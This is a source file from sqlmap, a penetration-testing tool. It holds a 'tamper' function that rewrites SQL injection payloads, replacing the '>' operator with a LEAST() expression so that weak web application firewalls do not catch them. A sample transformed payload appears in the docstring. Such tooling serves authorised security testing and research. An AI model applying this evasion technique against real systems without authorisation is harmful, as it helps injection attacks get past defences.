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55 lines
1.3 KiB
Python
55 lines
1.3 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces greater than operator ('>') with 'LEAST' counterpart
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Requirement:
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* MySQL
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* MariaDB
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* PostgreSQL
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* Microsoft SQL Server >= 2022
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* Oracle
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Tested against:
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* MySQL 8.4.9
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* MariaDB 11.8.8
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* PostgreSQL 16.11
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* Microsoft SQL Server 2022
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* Oracle 23ai
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Notes:
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* Useful to bypass weak and bespoke web application firewalls that
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filter the greater than character
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* NOT usable against SQLite, which has no LEAST() (it overloads
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MIN() for the multi-argument case instead). Microsoft SQL Server
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only gained LEAST() in 2022
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>>> tamper('1 AND A > B')
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'1 AND LEAST(A,B+1)=B+1'
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"""
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retVal = payload
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if payload:
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match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload)
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if match:
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_ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4))
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retVal = retVal.replace(match.group(0), _)
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return retVal
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